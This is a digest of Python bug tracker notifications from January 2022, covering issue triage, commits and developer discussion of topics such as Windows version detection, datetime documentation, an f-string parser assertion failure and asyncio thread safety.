+patch pull_requests: +29036 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30855 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 12:13:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 17:13:18 +0000 Subject: [issue23289] concurrent.futures.Executor.map is not equivalent to map. In-Reply-To: <1421844180.03.0.988670092885.issue23289@psf.upfronthosting.co.za> Message-ID: <1643044398.48.0.577998553078.issue23289@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Clarify map API in concurrent.futures _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 12:23:10 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 17:23:10 +0000 Subject: [issue41352] FileIO.readall() should raise "UnsupportedOperation" when in "w" mode In-Reply-To: <1595279640.58.0.284092405556.issue41352@roundup.psfhosted.org> Message-ID: <1643044990.48.0.249229310061.issue41352@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 12:45:15 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 17:45:15 +0000 Subject: [issue45711] Simplify the interpreter's (type, val, tb) exception representation In-Reply-To: <1636025387.26.0.346517237471.issue45711@roundup.psfhosted.org> Message-ID: <1643046315.07.0.427398976448.issue45711@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 80e1def9ded2a1d017410394e50c88aa39135029 by Irit Katriel in branch 'main': bpo-45711: move whatsnew entries which are incorrectly listed under New Features (GH-30849) https://github.com/python/cpython/commit/80e1def9ded2a1d017410394e50c88aa39135029 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 12:47:39 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 24 Jan 2022 17:47:39 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643046459.66.0.454441728667.issue45382@roundup.psfhosted.org> Eryk Sun added the comment: > It's *very* unlikely you'll ever get output that doesn't fit into MBCS, When writing to a pipe, wmic.exe hard codes using the process OEM code page (i.e. CP_OEMCP). If it matters, running wmic.exe with subprocess should use encoding='oem' instead of text=True. That said, wmic.exe is deprecated. I suggest using PowerShell instead. For example: import os import json import subprocess cmd = 'Get-CimInstance Win32_OperatingSystem | Select Caption, Version | ConvertTo-Json' p = subprocess.run(f'powershell.exe -c "{cmd}"', capture_output=True, encoding=os.device_encoding(1)) result = json.loads(p.stdout) PowerShell uses the console's output code page (i.e. os.device_encoding(1)) when writing to stdout, even if it's a pipe. (If PowerShell is run without a console via DETACHED_PROCESS, then it outputs nothing to stdout.) The only way I know of to make PowerShell write UTF-8 to stdout when it's a pipe is by temporarily changing the console output code page. Assuming the current process has a console, you have to first get the current code page with GetConsoleOutputCP(). Change the code page to UTF-8 via SetConsoleOutputCP(CP_UTF8). Run the PowerShell command. Finally, restore the original code page. Maybe subprocess should provide a context manager to set the console code pages before a call, and restore the previous console code pages and console modes after a call completes. That's what CLI shells such as CMD do when running an external program. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 12:51:30 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 24 Jan 2022 17:51:30 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1643046690.49.0.0965378038128.issue46483@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 12:55:07 2022 From: report at bugs.python.org (Paul Ganssle) Date: Mon, 24 Jan 2022 17:55:07 +0000 Subject: [issue46447] datetime.isoformat() documentation does not point to the risk of using it with naive datetime objects In-Reply-To: <1642713376.42.0.598006047552.issue46447@roundup.psfhosted.org> Message-ID: <1643046907.14.0.354876840073.issue46447@roundup.psfhosted.org> Paul Ganssle added the comment: Sorry I missed this! Thank you for taking the time to write this up and to make a PR. Unfortunately, I don't think I agree with the idea of warning about this. The warnings about `utcnow` and `utcfromtimestamp` are a problem because `utcnow` and `utcfromtimestamp` are intended to represent times in UTC, but they return datetimes that actually represent local times in the semantics of modern Python. Basically, these functions are dangerous not because they are using na?ve datetimes, but because they are *mis*using na?ve datetimes. The same can not be said of `.isoformat()`, which is doing the right thing when you use `datetime.now().isoformat()`. If you look at Wikipedia's article on ISO 8601 (which is pretty much the best resource on this, since ISO 8601 is itself paywalled and we never should have standardized on a proprietary standard in the first place), you'll see it says: > Local time (unqualified) > If no UTC relation information is given with a time representation, the time is assumed to be in local time. While it may be safe to assume local time when communicating in the same time zone, it is ambiguous when used in communicating across different time zones. It may be that for the kind of programming you do, it doesn't make sense to use local datetimes in an interchange format ? but it is a legitimate use case and there are definitely situations where it is very much the right thing to do, so I don't think we should warn against it in the `datetime.isoformat` documentation. There is *might* be some case for warning about this or something like it in the `datetime.now` documentation. The major use cases for na?ve datetimes are things where you are working with system time or things where you are working with dates in the future ? you don't want to specify that some event is going to happen at 2030-03-31T12:00Z if the actual event is planned for April 1, 2030 at 13:00 *London time*, because if, between now and then, the UK decides to cancel DST or move the start back a week, the event you've stored as a UTC time now longer represents what it was intended to represent. In a lot of cases `datetime.now()` will just be used as "what time is it now", which is not subject to that particular problem because by the time the datetime gets stored or used, `datetime.now()` is a date in the *past*, and can safely be converted to UTC for all time. Of course, if you are consuming a bunch of event dates stored in local time and you want to compare them to the current time, then `datetime.now()` would be appropriate. Similarly if you want to display the current time to a user on a given system (rather than logging or storing it), it would also make sense to do things like `print(datetime.now().isoformat())`, so there are definitely also legitimate use cases for `datetime.now()`. I'm inclined to say that we should *not* have a warning on `datetime.now()`, because we will give people warning fatigue if we do, and we definitely want people to see `now()` as the correct alternative to `utcnow()`. I am more sympathetic to rewording the `.now()` documentation to make it clear that this will be a na?ve time *representing the current time in the system local time zone* if `None` is passed (i.e. rewording or appending to the "If optional argument `tz`" paragraph). ---------- nosy: +belopolsky, p-ganssle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:16:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 18:16:50 +0000 Subject: [issue38195] A bug in the multiprocessing module In-Reply-To: <1568703069.98.0.135749134145.issue38195@roundup.psfhosted.org> Message-ID: <1643048210.61.0.140788401782.issue38195@roundup.psfhosted.org> Irit Katriel added the comment: Python 3.6 is no longer maintained and this doesn't freeze on my Mac on 3.11. Please create a new issue if you are seeing the freeze on a current python version (>= 3.9) and specify which system you are running it on. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:21:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 18:21:18 +0000 Subject: [issue31991] Race condition in wait with timeout for multiprocessing.Event In-Reply-To: <1510235293.99.0.213398074469.issue31991@psf.upfronthosting.co.za> Message-ID: <1643048478.46.0.381784018223.issue31991@roundup.psfhosted.org> Irit Katriel added the comment: Python 3.6 is no longer maintained and I failed to reproduce this on a Mac on 3.11. Please create a new issue if you are seeing the problem on a current python version (>= 3.9) and specify which system you are running it on. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:24:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 18:24:08 +0000 Subject: [issue31011] Users (except from the one who installed) not able to see python in add remove programs. In-Reply-To: <1500901180.63.0.497561130002.issue31011@psf.upfronthosting.co.za> Message-ID: <1643048648.56.0.478704380696.issue31011@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained. Please create a new issue if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:30:42 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 18:30:42 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c Message-ID: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> New submission from Gregory P. Smith : ``` >>> v = r"""f'\N '""" >>> import ast >>> ast.literal_eval(v) python: ../gpshead/Parser/string_parser.c:487: fstring_find_literal: Assertion `s == end || *s == '{' || *s == '}'' failed. Aborted ``` this comes from oss-fuzz after enabling assert checks in its cpython builds. :) https://oss-fuzz.com/testcase-detail/4805529363415040 & https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=43730 for those who have access. ---------- components: Parser messages: 411503 nosy: gregory.p.smith, lys.nikolaou, pablogsal priority: high severity: normal stage: needs patch status: open title: assertion failure in Parser/string_parser.c type: crash versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:31:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 18:31:53 +0000 Subject: [issue34680] asyncio event_loop close fails off main thread if signal handler registered In-Reply-To: <1536939208.48.0.956365154283.issue34680@psf.upfronthosting.co.za> Message-ID: <1643049113.31.0.781366492427.issue34680@roundup.psfhosted.org> Irit Katriel added the comment: The documentation should explicitly mention that an event loop should be accessed from only one thread (it hints at this by referring to "the loop of the current thread" but I don't see this stated clearly). In the code, it would be good if multi-threaded access failed with a clearer error. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:32:27 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 18:32:27 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643049147.77.0.054649762513.issue46503@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:32:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 18:32:49 +0000 Subject: [issue34680] asyncio event_loop fails when accessed from multiple threads In-Reply-To: <1536939208.48.0.956365154283.issue34680@psf.upfronthosting.co.za> Message-ID: <1643049169.58.0.988045150463.issue34680@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: asyncio event_loop close fails off main thread if signal handler registered -> asyncio event_loop fails when accessed from multiple threads _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:46:28 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 24 Jan 2022 18:46:28 +0000 Subject: [issue46504] Faster code for trial quotient in x_divrem Message-ID: <1643049988.78.0.00524175135095.issue46504@roundup.psfhosted.org> New submission from Tim Peters : x_divrem1() was recently (bpo-46406) changed to generate faster code for division, essentially nudging optimizing compilers into recognizing that modern processors compute the quotient and remainder with a single machine instruction. The same can be done for x_divrem(), although it's less valuable there because the HW division generally accounts for a much smaller percent of its total runtime. Still, it does cut a multiply and subtract out of the loop, and makes the code more obvious (since it brings x_divrem1() and x_divrem() back into synch). ---------- components: Interpreter Core messages: 411505 nosy: tim.peters priority: normal severity: normal stage: needs patch status: open title: Faster code for trial quotient in x_divrem type: performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:46:38 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 24 Jan 2022 18:46:38 +0000 Subject: [issue46504] Faster code for trial quotient in x_divrem In-Reply-To: <1643049988.78.0.00524175135095.issue46504@roundup.psfhosted.org> Message-ID: <1643049998.83.0.566127366894.issue46504@roundup.psfhosted.org> Change by Tim Peters : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:55:00 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 24 Jan 2022 18:55:00 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1643050500.67.0.24677505824.issue46406@roundup.psfhosted.org> Change by Tim Peters : ---------- pull_requests: +29038 pull_request: https://github.com/python/cpython/pull/30856 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:55:00 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 24 Jan 2022 18:55:00 +0000 Subject: [issue46504] Faster code for trial quotient in x_divrem In-Reply-To: <1643049988.78.0.00524175135095.issue46504@roundup.psfhosted.org> Message-ID: <1643050500.59.0.767824552139.issue46504@roundup.psfhosted.org> Change by Tim Peters : ---------- keywords: +patch pull_requests: +29037 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30856 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:58:50 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 24 Jan 2022 18:58:50 +0000 Subject: [issue34680] asyncio event_loop fails when accessed from multiple threads In-Reply-To: <1536939208.48.0.956365154283.issue34680@psf.upfronthosting.co.za> Message-ID: <1643050730.48.0.434407308994.issue34680@roundup.psfhosted.org> Andrew Svetlov added the comment: All asyncio loop methods except `loop.call_soon_threadsafe()` should be done from the same thread as been used for the loop creation. Did you violate this rule? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:04:02 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 24 Jan 2022 19:04:02 +0000 Subject: [issue46504] Faster code for trial quotient in x_divrem In-Reply-To: <1643049988.78.0.00524175135095.issue46504@roundup.psfhosted.org> Message-ID: <1643051042.91.0.602280971877.issue46504@roundup.psfhosted.org> Change by Tim Peters : ---------- assignee: -> tim.peters nosy: +gregory.p.smith, mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:07:46 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 19:07:46 +0000 Subject: [issue34680] asyncio event_loop fails when accessed from multiple threads In-Reply-To: <1536939208.48.0.956365154283.issue34680@psf.upfronthosting.co.za> Message-ID: <1643051266.8.0.639526744263.issue34680@roundup.psfhosted.org> Irit Katriel added the comment: I think the script does violate the rule: t = threading.Thread(target=do_loop, args=(loop,)) and then do_loop closes the loop that was created in the main thread. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:16:22 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 24 Jan 2022 19:16:22 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643051782.35.0.76757216408.issue41682@roundup.psfhosted.org> Andrew Svetlov added the comment: Guido, I can not confirm your suggestion but it seems correct to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:17:33 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 24 Jan 2022 19:17:33 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643051853.17.0.165443163672.issue46503@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:17:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 19:17:50 +0000 Subject: [issue46505] Simplify exception handling code in py_compile Message-ID: <1643051870.94.0.705340615931.issue46505@roundup.psfhosted.org> New submission from Irit Katriel : PyCompileError takes both type and value of the exception, which is no longer necessary. Fortunately neither its constructor signature nor its fields are documented so it can be simplified. ---------- messages: 411509 nosy: iritkatriel priority: normal severity: normal status: open title: Simplify exception handling code in py_compile _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:18:02 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 24 Jan 2022 19:18:02 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643051882.18.0.847756604698.issue46503@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Adding Eric as this seems to be in the f-string parser. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:18:45 2022 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 24 Jan 2022 19:18:45 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643051925.87.0.944955353454.issue46503@roundup.psfhosted.org> Change by Eric V. Smith : ---------- assignee: pablogsal -> eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:18:55 2022 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 24 Jan 2022 19:18:55 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643051935.08.0.709427080969.issue46503@roundup.psfhosted.org> Eric V. Smith added the comment: I'll take a look. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:20:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 19:20:08 +0000 Subject: [issue46505] Simplify exception handling code in py_compile In-Reply-To: <1643051870.94.0.705340615931.issue46505@roundup.psfhosted.org> Message-ID: <1643052008.28.0.436791093979.issue46505@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +29039 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30857 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:38:40 2022 From: report at bugs.python.org (Kuba Sunderland-Ober) Date: Mon, 24 Jan 2022 19:38:40 +0000 Subject: [issue39511] [subinterpreters] Per-interpreter singletons (None, True, False, etc.) In-Reply-To: <1580484815.27.0.407070570821.issue39511@roundup.psfhosted.org> Message-ID: <1643053120.18.0.628369348252.issue39511@roundup.psfhosted.org> Kuba Sunderland-Ober added the comment: I'm looking very much forward to isolated subinterpreters and thus the per-subinterpreter GIL, as I've been keeping a private exploratory project where I had to make them work. Here are my thoughts: 1. Any sort of reference count on heavily used objects cannot be shared between the threads, even if its value is otherwise ignored. I.e., a write-only shared refcount is already a no-no. The mere fact that it's being modified from different threads is a performance bottleneck, as the cacheline that holds the refcount has to be shuttled between cores. That's a bad thing and the penalty only becomes worse as the time marches on. 2. For platforms where the C language supports thread-local storage (TLS) at the declaration level, it's trivial to have "global static" immortal objects become thread-local static. This could be perhaps an escape to keep old code working to an extent, as opposed to immediately breaking. On such platforms, the `PyGet_Foo` API can be on equal footing with the legacy `Py_Foo` statics, i.e. both would do the same thing. That's how I've done it in my experiment. The obvious problem is that on platforms without compiler support for TLS, `Py_Foo` would be unavailable, and that's probably a no-go for an API that wouldn't be deprecated. For portability, everyone should be using `PyGet_Foo`, iff platforms without language-level TLS support are of interest (are they? what would they be?) ---------- nosy: +KubaO _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:58:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 19:58:25 +0000 Subject: [issue46505] Simplify exception handling code in py_compile In-Reply-To: <1643051870.94.0.705340615931.issue46505@roundup.psfhosted.org> Message-ID: <1643054305.79.0.0781995280958.issue46505@roundup.psfhosted.org> Change by Irit Katriel : ---------- components: +Library (Lib) type: -> enhancement versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 15:13:44 2022 From: report at bugs.python.org (R. David Murray) Date: Mon, 24 Jan 2022 20:13:44 +0000 Subject: [issue43333] utf8 in BytesGenerator In-Reply-To: <1614376213.69.0.504043333554.issue43333@roundup.psfhosted.org> Message-ID: <1643055224.21.0.686637413306.issue43333@roundup.psfhosted.org> R. David Murray added the comment: Yeah, I think we need a complete example here. Note that in the general case there is no such thing as an RFC-valid email in unicode (which is what python strings are), though with utf8=True and an email involving only text you might get away with it. I assume you've tried policy=policy.default.clone(utf=True) when creating the email? It will probably help to encode the 'text' to utf8 and use message_from_bytes to read it, but that may not be your only problem. It depends on exactly what is in the message and how the message gets recorded in your XML whether this is even going to work in the general case. The xml conversion may have already lost information, but hopefully not. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 15:32:33 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 24 Jan 2022 20:32:33 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1643056353.9.0.477526932757.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +29040 pull_request: https://github.com/python/cpython/pull/30858 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 15:51:42 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 24 Jan 2022 20:51:42 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1643057502.85.0.382508898935.issue46483@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:02:12 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 24 Jan 2022 21:02:12 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1643058132.56.0.102312540607.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset d5fd438b38248a0d2e91898475369361e34f74b7 by Christian Heimes in branch 'main': bpo-40280: Get help() working and more (GH-30858) https://github.com/python/cpython/commit/d5fd438b38248a0d2e91898475369361e34f74b7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:03:43 2022 From: report at bugs.python.org (=?utf-8?q?Nuno_Andr=C3=A9?=) Date: Mon, 24 Jan 2022 21:03:43 +0000 Subject: [issue35095] Implement pathlib.Path.append_bytes and pathlib.Path.append_text In-Reply-To: <1540754241.69.0.788709270274.issue35095@psf.upfronthosting.co.za> Message-ID: <1643058223.19.0.632110240315.issue35095@roundup.psfhosted.org> Change by Nuno Andr? : ---------- nosy: +nuno nosy_count: 3.0 -> 4.0 pull_requests: +29041 pull_request: https://github.com/python/cpython/pull/3811 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:08:02 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 24 Jan 2022 21:08:02 +0000 Subject: [issue35095] Implement pathlib.Path.append_bytes and pathlib.Path.append_text In-Reply-To: <1540754241.69.0.788709270274.issue35095@psf.upfronthosting.co.za> Message-ID: <1643058482.58.0.898715803468.issue35095@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:17:13 2022 From: report at bugs.python.org (Arjun) Date: Mon, 24 Jan 2022 21:17:13 +0000 Subject: [issue46500] make timeit module accept files In-Reply-To: <1643008080.77.0.59543047068.issue46500@roundup.psfhosted.org> Message-ID: <1643059033.35.0.968288351189.issue46500@roundup.psfhosted.org> Arjun added the comment: I was modifying the try/except/finally/else code generation and wanted to run my own benchmarks. It's cumbersome to edit them in a command to test different variations, especially when you have to indent. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:24:30 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 24 Jan 2022 21:24:30 +0000 Subject: [issue46506] [Windows] wrap CreateFile to support follow_symlinks Message-ID: <1643059470.04.0.661818040918.issue46506@roundup.psfhosted.org> New submission from Eryk Sun : Issue 46490 proposes to support follow_symlinks in os.utime() on Windows. Instead of duplicating the os.stat() implementation of follow_symlinks, I suggest factoring out a common _Py_CreateFile() function with two additional parameters: traverse (input) and pFileInfo (output). The `traverse` parameter would indicate whether to traverse or open a name-surrogate reparse point. However, FILE_FLAG_OPEN_REPARSE_POINT should take precedence over `traverse` and open any type of reparse point. The pFileInfo parameter would be an optional pointer to a struct that receives the file type (disk, char, pipe), file attributes, and reparse tag. Querying this information is required when `traverse` is false. There may as well be a way to return it. Since Windows 7 hasn't been supported since 3.8, this is also an opportunity to switch to the newer CreateFile2() function [1], which is required in order to use new file flags added to the API such as FILE_FLAG_OPEN_REQUIRING_OPLOCK. --- [1] https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2 ---------- components: Extension Modules, Windows messages: 411516 nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: [Windows] wrap CreateFile to support follow_symlinks type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:25:36 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 24 Jan 2022 21:25:36 +0000 Subject: [issue46490] Add "follow_symlinks=False" support for "os.utime()" on Windows In-Reply-To: <1642963308.84.0.964070745498.issue46490@roundup.psfhosted.org> Message-ID: <1643059536.85.0.280199718143.issue46490@roundup.psfhosted.org> Change by Eryk Sun : ---------- dependencies: +[Windows] wrap CreateFile to support follow_symlinks _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:25:45 2022 From: report at bugs.python.org (julien tayon) Date: Mon, 24 Jan 2022 21:25:45 +0000 Subject: =?utf-8?q?=5Bissue46507=5D_enabling_cProfile_to_profile_code_given_as_an_?= =?utf-8?q?argument_=22=C3=A0_la=22_timeit?= Message-ID: <1643059545.59.0.789365625233.issue46507@roundup.psfhosted.org> New submission from julien tayon : well, you want to use python3 -mcProfile -othis.prof 'oneliner in python to test something' And weirdly enough this normally expected behaviour does not work. It's because last argument is expected to be the path of the script name to profile. But, it can be fixed easily with no downside Since it is an expected behaviour and is minimal changing anything in documentation or news seems to superfluous An exemple of ? this is a standard de fait ? is the fact that the awesome module of vstinner timeit does this already. https://github.com/python/cpython/pull/30859 ---------- components: Library (Lib) messages: 411517 nosy: jul2, vstinner priority: normal pull_requests: 29042 severity: normal status: open title: enabling cProfile to profile code given as an argument "? la" timeit type: enhancement versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:25:52 2022 From: report at bugs.python.org (Popo Al) Date: Mon, 24 Jan 2022 21:25:52 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1643059552.69.0.0803522697136.issue46483@roundup.psfhosted.org> Change by Popo Al : ---------- components: +Parser, asyncio, email nosy: +barry, lys.nikolaou, pablogsal, r.david.murray, yselivanov type: behavior -> versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:29:22 2022 From: report at bugs.python.org (julien tayon) Date: Mon, 24 Jan 2022 21:29:22 +0000 Subject: =?utf-8?q?=5Bissue46507=5D_enabling_cProfile_to_profile_code_given_as_an_?= =?utf-8?q?argument_=22=C3=A0_la=22_timeit?= In-Reply-To: <1643059545.59.0.789365625233.issue46507@roundup.psfhosted.org> Message-ID: <1643059762.41.0.182242511817.issue46507@roundup.psfhosted.org> Change by julien tayon : ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:29:56 2022 From: report at bugs.python.org (Humbdrag) Date: Mon, 24 Jan 2022 21:29:56 +0000 Subject: [issue29890] Constructor of ipaddress.IPv*Interface does not follow documentation In-Reply-To: <1490306388.92.0.69250411121.issue29890@psf.upfronthosting.co.za> Message-ID: <1643059796.17.0.884543705435.issue29890@roundup.psfhosted.org> Change by Humbdrag : ---------- keywords: +patch nosy: +humbdrag nosy_count: 5.0 -> 6.0 pull_requests: +29043 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30862 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:45:13 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 24 Jan 2022 21:45:13 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1643060713.77.0.0161730859899.issue46483@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: This issue is not related to the parser, so I am unmarking it. ---------- components: -Parser _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:47:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 21:47:59 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643060879.61.0.117740641381.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 573b54515740ce51dcf2402038a9d953aa6c317f by Irit Katriel in branch 'main': bpo-46431: improve error message on invalid calls to BaseExceptionGroup.__new__ (GH-30854) https://github.com/python/cpython/commit/573b54515740ce51dcf2402038a9d953aa6c317f ---------- _______________________________________ Python tracker 